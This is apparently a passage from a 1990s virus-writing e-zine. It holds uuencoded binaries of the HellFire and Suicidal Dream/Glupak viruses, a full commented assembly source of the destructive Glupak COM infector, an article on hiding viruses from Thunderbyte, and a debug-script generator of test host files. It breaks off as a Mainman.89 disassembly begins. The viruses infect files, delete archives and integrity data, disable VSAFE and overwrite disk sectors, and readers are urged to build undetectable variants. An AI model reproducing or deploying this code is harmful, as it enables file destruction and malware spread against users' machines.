MZ&,$M$ZY!P"Z"0+-(7)^NIX`N``]S2&3M#^Y`0"Z>@7-(;0^S2&T3X`^>@7H
M=-8N@3Z:`'H$?,VX)"6+E@8"S2&X`$.ZG@#-(5&X`4,SR<TAN`(]S2&3M"S-
M(8D6=@6T0%"Y>@11N@`!Z>T#N`%#NIX`6<TAN`%7+HL.E@`NBQ:8`,TAM`FZ
M#P+-(<T@M`_-$#+DS1"T`;D')LT0N`"XCL"Y+P.^*@(S_S/2,\#\K#P@<@6K
MXOCK3#P0<P>`Y/`*X.OQ/!AT$W,9+!`"P`+``L`"P(#DCPK@Z]J!PJ``B_KK
MTCP;<@=US(#T@.O'/!F+V:R*R+`@=`*L2S+M0?.KB\M)X*KK_K`#SRHN8V]M
M`$)A9"!C;VUM86YD(&]R(&9I;&4@;F%M90T*)`@0&D^P&!I/L!@:3[`8&@NP
M#Q3:&C/$OP@0&@VP&!H+L`\4LR`@#!H&+R`@#G5H(&]H+"!Y;W4G=F4@8F5E
M;B!I;F9E8W1E9"!W:71H(&$@=FER=7,@#[,'$+&Q"!H+L!@:"[`/%+,@(`PO
M+QD#3QD"#QO2("#"(-+$Q+\@TAD#TAD#TL3$OR#$TL0@TL3$OR#2Q,2_("`;
MLP<0L;$(&@NP&!H+L`\4LR`,+R\9!3X@(`\;Q\3$M"#'Q!D"NAD#NAD#Q\09
M`[H@(,?$PMD@Q\09`QNS!Q"QL0@:"[`8&@NP#Q2S("`,+R!<7U\@?AD"#QO0
M("#!(-#$Q-D@T,3$V2#0Q,39(-`9`\30Q"#0(,$@(-#$Q-D@(!NS!Q"QL0@:
M"[`8&@NP#Q2S&0,,?'P9&AH$+QD-#[,'$+&Q"!H+L!@:"[`/%+,@(`PH7"!<
M*1D"*'XI&1,O+R`@;QD-#[,'$+&Q"!H+L!@:"[`/%+,@(`PH(%P@7"`@+R`O
M&1,O+QD#/AD,#[,'$+&Q"!H+L!@:"[`/%+,@(`PH("!<(%PO("\9"!H+7R\@
M7%]?3QD-#[,'$+&Q"!H+L!@:"[`/%+,@(`PH&0)<7U\O&0@O("!?7U\@&@5?
M7"\O&1`/LP<0L;$(&@NP&!H+L`\4LR`@#"\9`GP@+T`9!R@@("\@("\@&@5?
M*2\9$0^S!Q"QL0@:"[`8&@NP#Q2S(`PH&0-\+R\9"5P@7"`O("\9`BA?*1D3
M#[,'$+&Q"!H+L!@:"[`/%+,@(`Q<&0(H*1D+7"!<3R\9&@^S!Q"QL0@:"[`8
M&@NP#Q2S&0(,7"`@?!D-*2`I&1L/LP<0L;$(&@NP&!H+L`\4LQD##"D@*1D,
M+R`O&1P/LP<0L;$(&@NP&!H+L`\4LQD"#"@@('Q?&0HO("]?("`*<V\L(&1O
M('EO=2!L:6ME('1A:VEN9R!I="`@#[,'$+&Q"!H+L!@:"[`/%+,9`@PH&@-?
M/AD(*!H#7SX9!PIU<"!T:&4@87-S/QD(#[,'$+&Q"!H+L!@:"[`/%,`:,\39
M!Q"QL0@:"[`8&@VP!QHUL0@:"[`8&D^P&!I/L!@:3[`8Z`H`65C-(>@#`.D&
5_+X#`8O^N2L"K>L$J^+ZPS4``'/W
`
end
sum -r/size 11861/1146

section 1/1   file hell1146.com   [ Wincode 2.7.3 ]

All right... First off, let's examine a hex dump of the virus and see what we
come up with:

0CB8:0100  E8 63 04 B4 4E B9 07 00-BA 09 02 CD 21 72 7E BA   .c..N.......!r~.
0CB8:0110  9E 00 B8 00 3D CD 21 93-B4 3F B9 01 00 BA 7A 05   ....=.!..?....z.
0CB8:0120  CD 21 B4 3E CD 21 B4 4F-80 3E 7A 05 E8 74 D6 2E   .!.>.!.O.>z..t..
0CB8:0130  81 3E 9A 00 7A 04 7C CD-B8 24 25 8B 96 06 02 CD   .>..z.|..$%.....
0CB8:0140  21 B8 00 43 BA 9E 00 CD-21 51 B8 01 43 33 C9 CD   !..C....!Q..C3..
0CB8:0150  21 B8 02 3D CD 21 93 B4-2C CD 21 89 16 76 05 B4   !..=.!..,.!..v..
0CB8:0160  40 50 B9 7A 04 51 BA 00-01 E9 ED 03 B8 01 43 BA   @P.z.Q........C.
0CB8:0170  9E 00 59 CD 21 B8 01 57-2E 8B 0E 96 00 2E 8B 16   ..Y.!..W........
0CB8:0180  98 00 CD 21 B4 09 BA 0F-02 CD 21 CD 20 B4 0F CD   ...!......!. ...
0CB8:0190  10 32 E4 CD 10 B4 01 B9-07 26 CD 10 B8 00 B8 8E   .2.......&......
0CB8:01A0  C0 B9 2F 03 BE 2A 02 33-FF 33 D2 33 C0 FC AC 3C   ../..*.3.3.3...<
0CB8:01B0  20 72 05 AB E2 F8 EB 4C-3C 10 73 07 80 E4 F0 0A    r.....L<.s.....
0CB8:01C0  E0 EB F1 3C 18 74 13 73-19 2C 10 02 C0 02 C0 02   ...<.t.s.,......
0CB8:01D0  C0 02 C0 80 E4 8F 0A E0-EB DA 81 C2 A0 00 8B FA   ................
0CB8:01E0  EB D2 3C 1B 72 07 75 CC-80 F4 80 EB C7 3C 19 8B   ..<.r.u......<..
0CB8:01F0  D9 AC 8A C8 B0 20 74 02-AC 4B 32 ED 41 F3 AB 8B   ..... t..K2.A...
0CB8:0200  CB 49 E0 AA EB FE B0 03-CF 2A 2E 63 6F 6D 00 42   .I.......*.com.B
0CB8:0210  61 64 20 63 6F 6D 6D 61-6E 64 20 6F 72 20 66 69   ad command or fi
0CB8:0220  6C 65 20 6E 61 6D 65 0D-0A 24 08 10 1A 4F B0 18   le name..$...O..
0CB8:0230  1A 4F B0 18 1A 4F B0 18-1A 0B B0 0F 14 DA 1A 33   .O...O.........3
0CB8:0240  C4 BF 08 10 1A 0D B0 18-1A 0B B0 0F 14 B3 20 20   ..............  
0CB8:0250  0C 1A 06 2F 20 20 0E 75-68 20 6F 68 2C 20 79 6F   .../  .uh oh, yo
0CB8:0260  75 27 76 65 20 62 65 65-6E 20 69 6E 66 65 63 74   u've been infect
0CB8:0270  65 64 20 77 69 74 68 20-61 20 76 69 72 75 73 20   ed with a virus 
0CB8:0280  0F B3 07 10 B1 B1 08 1A-0B B0 18 1A 0B B0 0F 14   ................
0CB8:0290  B3 20 20 0C 2F 2F 19 03-4F 19 02 0F 1B D2 20 20   .  .//..O.....  
0CB8:02A0  C2 20 D2 C4 C4 BF 20 D2-19 03 D2 19 03 D2 C4 C4   . .... .........
0CB8:02B0  BF 20 C4 D2 C4 20 D2 C4-C4 BF 20 D2 C4 C4 BF 20   . ... .... .... 
0CB8:02C0  20 1B B3 07 10 B1 B1 08-1A 0B B0 18 1A 0B B0 0F    ...............
0CB8:02D0  14 B3 20 0C 2F 2F 19 05-3E 20 20 0F 1B C7 C4 C4   .. .//..>  .....
0CB8:02E0  B4 20 C7 C4 19 02 BA 19-03 BA 19 03 C7 C4 19 03   . ..............
0CB8:02F0  BA 20 20 C7 C4 C2 D9 20-C7 C4 19 03 1B B3 07 10   .  .... ........
0CB8:0300  B1 B1 08 1A 0B B0 18 1A-0B B0 0F 14 B3 20 20 0C   .............  .
0CB8:0310  2F 20 5C 5F 5F 20 7E 19-02 0F 1B D0 20 20 C1 20   / \__ ~.....  . 
0CB8:0320  D0 C4 C4 D9 20 D0 C4 C4-D9 20 D0 C4 C4 D9 20 D0   .... .... .... .
0CB8:0330  19 03 C4 D0 C4 20 D0 20-C1 20 20 D0 C4 C4 D9 20   ..... . .  .... 
0CB8:0340  20 1B B3 07 10 B1 B1 08-1A 0B B0 18 1A 0B B0 0F    ...............
0CB8:0350  14 B3 19 03 0C 7C 7C 19-1A 1A 04 2F 19 0D 0F B3   .....||..../....
0CB8:0360  07 10 B1 B1 08 1A 0B B0-18 1A 0B B0 0F 14 B3 20   ............... 
0CB8:0370  20 0C 28 5C 20 5C 29 19-02 28 7E 29 19 13 2F 2F    .(\ \)..(~)..//
0CB8:0380  20 20 6F 19 0D 0F B3 07-10 B1 B1 08 1A 0B B0 18     o.............
0CB8:0390  1A 0B B0 0F 14 B3 20 20-0C 28 20 5C 20 5C 20 20   ......  .( \ \  
0CB8:03A0  2F 20 2F 19 13 2F 2F 19-03 3E 19 0C 0F B3 07 10   / /..//..>......
0CB8:03B0  B1 B1 08 1A 0B B0 18 1A-0B B0 0F 14 B3 20 20 0C   .............  .
0CB8:03C0  28 20 20 5C 20 5C 2F 20-2F 19 08 1A 0B 5F 2F 20   (  \ \/ /...._/ 
0CB8:03D0  5C 5F 5F 4F 19 0D 0F B3-07 10 B1 B1 08 1A 0B B0   \__O............
0CB8:03E0  18 1A 0B B0 0F 14 B3 20-20 0C 28 19 02 5C 5F 5F   .......  .(..\__
0CB8:03F0  2F 19 08 2F 20 20 5F 5F-5F 20 1A 05 5F 5C 2F 2F   /../  ___ .._\//
0CB8:0400  19 10 0F B3 07 10 B1 B1-08 1A 0B B0 18 1A 0B B0   ................
0CB8:0410  0F 14 B3 20 20 0C 2F 19-02 7C 20 2F 40 19 07 28   ...  ./..| /@..(
0CB8:0420  20 20 2F 20 20 2F 20 1A-05 5F 29 2F 19 11 0F B3     /  / .._)/....
0CB8:0430  07 10 B1 B1 08 1A 0B B0-18 1A 0B B0 0F 14 B3 20   ............... 
0CB8:0440  0C 28 19 03 7C 2F 2F 19-09 5C 20 5C 20 2F 20 2F   .(..|//..\ \ / /
0CB8:0450  19 02 28 5F 29 19 13 0F-B3 07 10 B1 B1 08 1A 0B   ..(_)...........
0CB8:0460  B0 18 1A 0B B0 0F 14 B3-20 20 0C 5C 19 02 28 29   ........  .\..()
0CB8:0470  19 0B 5C 20 5C 4F 2F 19-1A 0F B3 07 10 B1 B1 08   ..\ \O/.........
0CB8:0480  1A 0B B0 18 1A 0B B0 0F-14 B3 19 02 0C 5C 20 20   .............\  
0CB8:0490  7C 19 0D 29 20 29 19 1B-0F B3 07 10 B1 B1 08 1A   |..) )..........
0CB8:04A0  0B B0 18 1A 0B B0 0F 14-B3 19 03 0C 29 20 29 19   ............) ).
0CB8:04B0  0C 2F 20 2F 19 1C 0F B3-07 10 B1 B1 08 1A 0B B0   ./ /............
0CB8:04C0  18 1A 0B B0 0F 14 B3 19-02 0C 28 20 20 7C 5F 19   ..........(  |_.
0CB8:04D0  0A 2F 20 2F 5F 20 20 0A-73 6F 2C 20 64 6F 20 79   ./ /_  .so, do y
0CB8:04E0  6F 75 20 6C 69 6B 65 20-74 61 6B 69 6E 67 20 69   ou like taking i
0CB8:04F0  74 20 20 0F B3 07 10 B1-B1 08 1A 0B B0 18 1A 0B   t  .............
0CB8:0500  B0 0F 14 B3 19 02 0C 28-1A 03 5F 3E 19 08 28 1A   .......(.._>..(.
0CB8:0510  03 5F 3E 19 07 0A 75 70-20 74 68 65 20 61 73 73   ._>...up the ass
0CB8:0520  3F 19 08 0F B3 07 10 B1-B1 08 1A 0B B0 18 1A 0B   ?...............
0CB8:0530  B0 0F 14 C0 1A 33 C4 D9-07 10 B1 B1 08 1A 0B B0   .....3..........
0CB8:0540  18 1A 0D B0 07 1A 35 B1-08 1A 0B B0 18 1A 4F B0   ......5.......O.
0CB8:0550  18 1A 4F B0 18 1A 4F B0-18 E8 0A 00 59 58 CD 21   ..O...O.....YX.!
0CB8:0560  E8 03 00 E9 06 FC BE 03-01 8B FE B9 2B 02 AD EB   ............+...
0CB8:0570  04 AB E2 FA C3 35 00 00-73 F7                     .....5..s.

Looking at the dump of the virus, we see there's a *.com in plain sight at
memory location $0209, but does Thunderbyte pick this up?

  Thunderbyte virus detector v7.07 - (C) Copyright 1989-1997 Thunderbyte B.V.

  HELL1146.COM   <Dos com   > c              �

Hehehe... Evidently not. You see, this simple scheme can make your virus
totally hidden from Thunderbyte, even in its first-generation stage. A
victim's hard drive could have every com file infected, and TBAV wouldn't say
a thing...

You can clearly see the possibilities inherent in this encryption method. So,
for now, I leave you with this issue's virus challenge. Use this technique in
a new virus, or modify an old virus's encryption, but in any case, create a
bugger that is invisible to Thunderbyte. Submit all your creations to the
magazine and we'll have publish them in the next issue.

NOTE: In the VIRUSES.ZIP contained with this issue, there are about 25 other
variants of the HellFire virus; most of these are earlier versions, and as
such, you can scan them to see what gets caught, then compare what was
changed between it and the release version in this file.

ALSO NOTE: If you liked this article, you'll love the Airwalker virus, which
is contained within this issue. It adds advanced anti-heuristic techniques
which hide your virus from all the major anti-virus software out there today.

Till next time...                                                 Gothmog/DHA
;               TU.Suicidal.Dream.B / Glupak.847.A Disassembly
;                   Disassembled, Commented by Gothmog/DHA
; 
; When this virus first hit the Internet,  it was posted, as many new viruses
; are these days,  to several usenet  newsgroups.  I quickly grabbed myself a
; copy  and  disassembled it;  to my  knowledge,  this was the only  publicly
; available source for the virus at that time.  Unfortunately,  my source did
; not get very widely distributed, so I am releasing it in this magazine.
;
; Originally called TU.Suicidal.Dream.B, and listed by (c) 1996 The Freak/The
; Underground, this virus is now detected by F-PROT as Glupak.847.A, so it is
; apparantly  a hack of the  Glupak.393 virus.  The Glupak.393 virus was, for
; those of you keeping track,  originally  released in VLAD Magazine #2,  and
; was originally named [Prodigy] v3.0 by Metabolis/VLAD (the AV'ers must sure
; have a grudge against VLAD <g>).
;
; Here's a look at what F-PROT Professional has to say:
;
; ===========================================================================
; 
;  NAME:   Glupak
;  ALIAS:  Freaky, THU, Suicidal Dream
;  SIZE:   847
;  TYPE:   Non-resident COM -files 
;  ORIGIN: Canada
;
; This is a buggy direct action infector of COM files. It activates on October 21st and attempts
; to overwrite the hard drive. After this it displays this text and hangs the PC: 
;
;         Happy Birthday Freaky! 
;
; Glupak also contains this encrypted text which is never shown: 
;
;         [TV.Suicidal.Dream.B] (c) 1996 The Freak/The Underground 
;         From the hypnotic spectre of wake I scream locked in depths 
;         of suicidal Dream 
;
; The virus might also delete *.ZIP and ANTI-VIR.DAT files. 
;
; Glupak was confirmed to be in the wild in Switzerland and Finland in April 1996. 
;
; There is another 890 byte variant with slightly different texts inside. 
;
; [Analysis: Mikko Hypponen, Data Fellows Ltd's F-PROT Pro Support] 
; 
; ===========================================================================
;
; And ThunderByte v7.07 gives us this information about the virus:
;
; ===========================================================================
; 
; Information about the Glupak.847 virus.
;
; This virus is known to infect COM files, but unknown variants may infect
; other items as well.
;
; 847 bytes
;
; Virus triggers on 21 october destroying contents of drive C:
;
; Unusual messages or effects may appear on the screen.
;
;
; Cleaning information:
; Before cleaning or restoring, it is HIGHLY RECOMMENDED to boot from a clean,
; write-protected system diskette first! This is necessary to ensure that no
; viruses are active in memory, and to reduce the risk that you execute an
; infected file by accident.
;
; WARNING!
; This virus is known to corrupt data files. Although the damage may not be
; visible immediately, the integrity of your data has been affected once this
; virus got active in your system. There is no other option than restoring all
; information from a reliable backup.
; 
; ===========================================================================
;
; Other than that, the code is pretty easy to understand. Nothing really neat
; about  this virus,  though the  file-deletion routine is interesting.  This
; virus uses anti-heuristic tricks such as the int 03h at the program's entry
; and by changing the ')' to '*' (and vise-versa) in the filemask.  The virus
; seens to contain a bug -- look in the infect_file procedure, and also seems
; to contain 159d extra bytes with no apparent function--refer to data at the
; label useless_crap. If anyone cares to create a variant of this virus, feel
; free, but give credit where credit is due...  [You might want to send it to
; us too, I dunno, you might just get something cool out of it...]
;
; Assumes TASM v4.00 or v5.00; other assemblers may work, but have been in no
; way personally tested or quality assured.
;
; Assemble with: tasm /m2 virus.asm
;                tlink /t virus.obj                (creates an 850 byte file)

.model tiny
.code
		org	100h

start_virus:
;               jmp     get_offset
                db      0E9h, 000h, 000h        ; byte fixup for TASM

get_offset:
                call    main_entry

main_entry:
                int     03h                     ; debug trap/tbav evade
		pop	bp
                sub     bp, offset main_entry

                lea     si, [bp + offset orig_bytes]
                                                ; orig. 3 bytes in sp
                mov     di, 100h                ; start of com
                push    di                      ; push for ret exit

                movsw                           ; restore orig. 3 bytes
                movsb                           ; to start of com

                mov     dx, 5945h
                mov     ax, 0FA01h
                int     16h                     ; disable VSAFE in memory

                mov     ah, 1Ah                 ; set DTA function
                lea     dx, [bp + offset new_dta]
                                                ; new dta address
                int     21h                     ; do it

                mov     ah, 47h                 ; get present directory
                xor     dl, dl                  ; current drive
                lea     si, [bp + 47Eh]         ; to heap
                int     21h                     ; do it

                mov     byte ptr cs:infectCounter, 0
                                                ; no files infected this run

find_file:
                mov     ah, 4Eh                 ; find first
                mov     cx, 07h                 ; all files
                inc     byte ptr cs:[bp + offset file_mask]
                                                ; change ')' to '*' (anti-heuristic)
                lea     dx, [bp + offset file_mask]
                                                ; Load effective addr
                int     21h                     ; do it

                jc      none_found              ; no files found
                dec     byte ptr cs:[bp + offset file_mask]
                                                ; change '*' to ')' (anti-heuristic)
                jmp     test_file

none_found:
                dec     byte ptr cs:[bp + file_mask]
                                                ; change '*' to ')' (anti-heuristic)

no_more_files:
                push    cs
                call    delete_files            ; delete *.zip, anti-vir.dat
                jmp     search_parent

test_file:
                cmp     offset [bp + cs:file_name], 'OC'
                                                ; test for command.com
                je      find_next               ; file is command.com
                jmp     infect_file             ; file is not command.com

find_next:
                mov     ah, 4Fh                 ; find next file
                int     21h                     ; do it

                jc      no_more_files           ; no more files in dir
                jmp     test_file               ; see if infectable

infect_file:
                mov     ax, 4300h               ; get file attributes
                lea     dx, [bp + offset file_name]
                int     21h                     ; do it

                mov     cx, cs:file_attr        ; ERROR: cx is destroyed...

                mov     ax, 4301h               ; set file attributes
                lea     dx, [bp + offset file_name]
                xor     cx, cx                  ; none
                int     21h                     ; do it

                mov     ax, 3D02h               ; open file for writing
                lea     dx, [bp + offset file_name]
                int     21h                     ; do it

                xchg    bx, ax                  ; put handle in bx

                mov     ax, 5700h               ; get file date, time
                int     21h                     ; do it

                mov     cs:file_time, cx        ; save file time in dta
                mov     cs:file_date, dx        ; save file date in dta

                mov     ah, 3Fh                 ; read file
                mov     cx, 3                   ; first 3 bytes
                lea     dx, [bp + offset orig_bytes]
                int     21h                     ; do it

                lea     cx, offset [bp + cs:[offset orig_bytes]]
                sub     cl, 5
                sub     ch, 5
                add     cl, ch

                cmp     cl, 9Dh                 ; test for jmp get_offset
                je      close_file              ; if infected, close file

                jmp     write_file              ; else, write file

close_file:
                mov     ax, 5701h               ; set file date and time
                mov     cx, cs:file_time        ; restore file time from dta
                mov     dx, cs:file_date        ; restore file date from dta
                int     21h                     ; do it

                mov     ax, 4301h               ; set file attributes
                lea     dx, [bp + offset file_name]
                mov     cx, cs:file_attr        ; restore attributes from dta
                int     21h                     ; do it

                mov     ah, 3Eh                 ; close file
                int     21h                     ; do it

                push    cs
                call    delete_files            ; delete *.zip, anti-vir.dat

                cmp     byte ptr cs:infectCounter, 5
                je      back_to_orig_dir        ; four infected, stop
                jmp     find_next               ; less than four, keep going

write_file:
                mov     cx, offset [bp + cs:orig_length]
                mov     ax, offset [bp + cs:file_size]
                add     cx, offset end_virus - offset start_virus

                cmp     ax, cx
                je      close_file              ; file already infected

                sub     ax, 3

                mov     offset [bp + cs:jump_length], ax

                mov     ax, 4200h               ; move file pointer
                xor     cx, cx                  ; to beginning of file
                cwd
                int     21h                     ; do it

                mov     ah, 40h                 ; write file
                mov     cx, 3                   ; three bytes
                lea     dx, [bp + offset jump_bytes]
                int     21h                     ; do it

                mov     ax, 4202h               ; move file pointer
                xor     cx, cx                  ; end of file
                cwd
                int     21h                     ; do it

                mov     ah, 40h                 ; write file
                mov     cx, offset end_virus - offset start_virus - 3
                lea     dx, [bp + offset main_entry - 3]
                int     21h                     ; do it

                inc     cs:infectCounter
                jmp     close_file

back_to_orig_dir:
                push    cs
                call    delete_files            ; delete *.zip, anti-vir.dat

                mov     ah, 3Bh                 ; set current dir
                lea     dx, [bp + 47Eh]         ; original (saved) dir
                int     21h                     ; do it

                mov     ah, 2Ah                 ; get date
                int     21h                     ; do it

                cmp     dh, 0Ah                 ; is month october?
                jne     dont_trash_disk         ; no, return

                cmp     dl,15h                  ; is day the 15th?
                jne     dont_trash_disk         ; no, return

                jmp     trash_disk              ; trash the hard drive

dont_trash_disk:
		retn

search_parent:
                mov     ah, 3Bh                 ; set current dir
                lea     dx, [bp + offset dotdot]; go to parent
                int     21h                     ; do it

                jc      back_to_orig_dir
                jmp     find_file

trash_disk:
                mov     al, 02h                 ; current drive
                mov     cx, 666                 ; write 666 sectors
                mov     dx, 0
                mov     bx, offset virus_name
                int     26h                     ; absolute disk write

                lea     dx, [bp + offset happy_birthday]
                mov     ah, 09h                 ; display message
                int     21h                     ; do it

forever:
                jmp     forever

delete_files:
                lea     dx, [bp + zip_mask]     ; filename = *.zip
                mov     ah, 4Eh                 ; find first
                mov     cx, 7                   ; all files
                int     21h                     ; do it

                jc      del_tbav                ; none found, try tbav files

del_zips:
                lea     dx, [bp + offset file_name]
                mov     ax, 4301h               ; set file attributes
                xor     cx, cx                  ; none
                int     21h                     ; do it

                mov     ah, 41h                 ; delete file
                lea     dx, [bp + offset file_name]
                int     21h                     ; do it

                mov     ah, 4Fh                 ; find next
                int     21h                     ; do it

                jc      del_tbav                ; none found, try tbav files
                loop    del_zips                ; more found, delete them

del_tbav:
                lea     dx, [bp + offset tbav_name]
                mov     ah, 4Eh                 ; find first
                mov     cx, 7                   ; all files
                int     21h                     ; do it

                jc      no_tbav

                lea     dx, [bp + offset file_name]
                mov     ax, 4301h               ; set file attributes
                xor     cx, cx                  ; none
                int     21h                     ; do it

                mov     ah, 41h                 ; delete file
                lea     dx, [bp + offset file_name]
                int     21h                     ; do it

                retf                            ; return far

no_tbav:
                retf                            ; return far

virus_name      db      '[TU.Suicidal.Dream.B]'
virus_author    db      '(c) 1996 The Freak/The Underground'

silly_poem      db      'From the hypnotic spectre of wake I scream'
                db      'Locked in the depths of a Suicidal Dream'

useless_crap    db      0A9h, 0CCh, 0D3h, 0C2h, 07Dh, 0D1h, 0CCh, 07Dh, 0A9h
                db      0C2h, 0BEh, 0C5h, 07Dh, 0BEh, 0CBh, 0C1h, 07Dh, 0A9h
                db      0C6h, 0CBh, 0C1h, 0D0h, 0BEh, 0D6h, 07Eh, 07Dh, 0AAh
                db      0D6h, 07Dh, 0C3h, 0BEh, 0D3h, 07Dh, 0BFh, 0BEh, 0BFh
                db      0C2h, 0D0h, 07Eh, 07Eh, 07Dh, 0AFh, 0C2h, 0C9h, 0C2h
                db      0BEh, 0D0h, 0C2h, 0C1h, 07Dh, 0A7h, 0BEh, 0CBh, 08Ch
                db      096h, 093h, 07Eh, 07Dh, 07Dh, 0A3h, 0CFh, 0CCh, 0CAh
                db      07Dh, 0A0h, 0BEh, 0CBh, 0BEh, 0C1h, 0BEh, 07Eh, 07Dh
                db      07Dh, 0B6h, 0D2h, 0CDh, 089h, 07Dh, 0D1h, 0C5h, 0BEh
                db      0D1h, 0D0h, 07Dh, 0CFh, 0C6h, 0C4h, 0C5h, 0D1h, 07Dh
                db      0BEh, 0D3h, 07Dh, 0CDh, 0C2h, 0CCh, 0CDh, 0C9h, 0C2h
                db      0D0h, 08Bh, 08Bh, 07Dh, 0A0h, 09Eh, 0ABh, 09Eh, 0A1h
                db      09Eh, 07Eh, 085h, 0C0h, 086h, 07Dh, 08Eh, 096h, 096h
                db      093h, 07Dh, 0B1h, 0C5h, 0C2h, 07Dh, 0A3h, 0CFh, 0C2h
                db      0BEh, 0C8h, 08Bh, 07Dh, 09Eh, 0C9h, 0C9h, 07Dh, 0CFh
                db      0C6h, 0C4h, 0C5h, 0D1h, 0D0h, 07Dh, 0D0h, 0D1h, 0CCh
                db      0C9h, 0C2h, 0CBh, 08Bh, 07Dh, 0B0h, 0CCh, 07Dh, 0C2h
                db      0BEh, 0D1h, 07Dh, 0CAh, 0C2h, 08Bh

orig_bytes      db      0CDh, 020h, 000h
orig_length     equ     $-2

jump_bytes      db      0E9h
jump_length     dw      0000h

file_mask       db      ').com', 0
zip_mask        db      '*.zip', 0
tbav_name       db      'anti-vir.dat', 0
dotdot          db      '..', 0

new_dta         db      26 dup (0)
file_size       dd      0
file_name       db      12 dup (0)
file_attr       dw      0
file_time       dw      0
file_date       dw      0

infectCounter   db      0

happy_birthday  db      'Happy Birthday Freaky!




end_virus:
                end     start_virus

; ============================================================[ code ends ]==

And finally, for those of you without a working assembler, here's a uuencoded
copy. Simply run UUDECODE or its equivalent on the article, or cut and paste
the encoded section into a text file and decode it:

section 1/1   file freaky.com   [ Wincode 2.7.3 ]

begin 644 freaky.com
MZ0``Z```S%V![08!C;;H`[\``5>EI+I%6;@!^LT6M!J-E@H$S2&T1S+2C;9^
M!,TA+L8&.@0`M$ZY!P`N_H;N`XV6[@/-(7('+OZ.[@/K#"[^CNX##N@>`>GW
M`"Z!OB@$0T]T`NL(M$_-(7+HZ^VX`$.-EB@$S2$NBPXT!+@!0XV6*`0SR<TA
MN`(]C98H!,TAD[@`5\TA+HD.-@0NB18X!+0_N0,`C9;H`\TAC8[H`X#I!8#M
M!0+-@/F==`+K,+@!5RZ+#C8$+HL6.`3-(;@!0XV6*`0NBPXT!,TAM#[-(0[H
MDP`N@#XZ!`5T2NEX_RZ+CND#+HN&)`2!P5(#.\%TOBT#`"Z)ANP#N`!",\F9
MS2&T0+D#`(V6ZP/-(;@"0C/)F<TAM$"Y3P.-E@,!S2$N_@8Z!.N)#N@]`+0[
MC99^!,TAM"K-(8#^"G4'@/H5=0+K#L.T.XV6!P3-(7+9Z=?^L`*YF@*Z``"[
MP`+-)HV6.P2T"<TAZ_Z-EO0#M$ZY!P#-(7(;C98H!+@!0S/)S2&T08V6*`3-
M(;1/S2%R`N+EC9;Z`[1.N0<`S2%R%(V6*`2X`4,SR<TAM{body}amp;-EB@$S2'+RUM4
M52Y3=6EC:61A;"Y{body}lt;F5A;2Y"72AC*2`Q.3DV(%1H92!&<F5A:R]4:&4@56YD
M97)G<F]U;F1&<F]M('1H92!H>7!N;W1I8R!S<&5C=')E(&]F('=A:V4@22!S
M8W)E86U,;V-K960@:6X@=&AE(&1E<'1H<R!O9B!A(%-U:6-I9&%L($1R96%M
MJ<S3PGW1S'VIPK[%?;[+P7VIQLO!T+[6?GVJUGW#OM-]O[Z_PM!^?GVOPLG"
MOM#"P7VGOLN,EI-^?7VCS\S*?:"^R[[!OGY]?;;2S8E]T<6^T=!]S\;$Q=%]
MOM-]S<+,S<G"T(N+?:">JYZAGGZ%P(9]CI:6DWVQQ<)]H\_"OLB+?9[)R7W/
MQL3%T=!]T-',R<++BWVPS'W"OM%]RL*+S2``Z0``*2YC;VT`*BYZ:7``86YT
M:2UV:7(N9&%T`"XN````````````````````````````````````````````
H``````````````````````!(87!P>2!":7)T:&1A>2!&<F5A:WDA)'DA
`
end
sum -r/size 5493/850

section 1/1   file freaky.com   [ Wincode 2.7.3 ]

That's it everybody, go home...                                   Gothmog/DHA
                  Quick and Easy Virus Host File Generator
                               by Gothmog/DHA

Lots of times when I'm working on my latest virus, I find the need to infect
a host file to see if the virus is working correctly. And to make such a
host file, I don't want to use a program with cumbersome command-line options
or mess with debug, which while easy, is still a pain when you want to get
something done. So, for fast results, I cooked up this batch file system. The
main batch file, MAKEHOST.BAT, creates a virus host file by piping a script,
MAKEHOST.SCR, through debug. Quick and simple, not much else to it, but I've
found it quite useful, as it's fast and easy to use. I recommend copying both
files to your DOS directory, but any directory in your path is fine.

== cut here =========================================== file: MAKEHOST.BAT ==
@echo off
echo. > %1
debug %1 < c:\dos\makehost.scr > nul
echo.
== file ends ==================================================== cut here ==

And the debug script file; modify the actual host to suit your needs, this
one is fine in most cases, unless you're dealing with a virus that has a min-
imum file size check or one that uses more than the first four bytes in its
infection routine, for example.

== cut here =========================================== file: MAKEHOST.SCR ==
e 100 90 90 CD 20
r cx
4
w
q
== file ends ==================================================== cut here ==

That's it... Bug off.                                             Gothmog/DHA
; Mainman.89 or Trivial.89.B    Disassembly, Comments, and Bug-Fix by Gothmog
;
; Overview: The file KEYGEN.COM was posted to the usenet group alt.comp.virus
;           source.code on April Fool's Day, 1997.  The file was 31,568 bytes
;           large, dated 04-02-97 at 7:14 P.M.  Contained within the file was
;           a trivial-esque overwriting virus that was, however, non-working.
;
; Here is the full message from whoever posted the file, possibly the virus's
; author or also possibly just an interested collector or programmer:
;
; From mainman@wereverthefuckiwannabe.net Tue Apr 01 19:18:27 1997
; Path: news.alt.net!news1.alt.net!worldnet.att.net!cpk-news-hub1.bbnplanet.com!news.bbnplanet.com!news.maxwell.syr.edu!news.accessus.net!not-for-mail
; From: mainman@wereverthefuckiwannabe.net (nada chance)
; Newsgroups: alt.comp.virus.source.code
; Subject: keygen.com (0/1)
; Date: Wed, 02 Apr 1997 00:18:27 GMT
; Organization: accessU.S., Inc
; Lines: 2
; Message-ID: <3341a588.158374802@news.accessus.net>
; NNTP-Posting-Host: mtv-pm2-2-100.accessus.net
; X-Newsreader: Forte Free Agent 1.1/32.230
; --------
; it;s just a dummy to show how easy it is to get past huero's if u
; already know that don;t bother d/ling it cuz it;s trash
;
; According to the poster of this message above, the file is trash, but shows
; how to get past heuristic scanners.  I decided to take a look, and fired up
; my antivirus scanners. Lo-and-behold, the virus was undetectable by AVPLite
; v3.0 build 107 Update 03/22/97, Dr. Solomon's FindVirus v7.70's heuristics,
; and F-Protect v2.26 w/ paranoid mode heuristics enabled, but raised several
; important flags with ThunderByte's TBSCAN v7.07: 
;
; C:\DOWNLOAD\KEYGEN.COM probably infected by an unknown virus
; c  No checksum / recovery information (Anti-Vir.Dat) available.
; F  Suspicious file access.  Might be able to infect a file.
; S  Contains a routine to search for executable (.COM or .EXE) files.
; #  Found a code decryption routine or debugger trap.  This is common
;    for viruses but also for some copy-protected software.
;
; My interest piqued, I decided to take a closer look. I quickly disassembled
; the host file, and took a look. Instead of finding some complex, huge code,
; I found that actual virus was a meager 89d bytes long.  I added comments to
; the code, and found that as provided, the virus was non-functioning.  While
; it seemed decent on the whole, for what it accomplished, it had one glaring
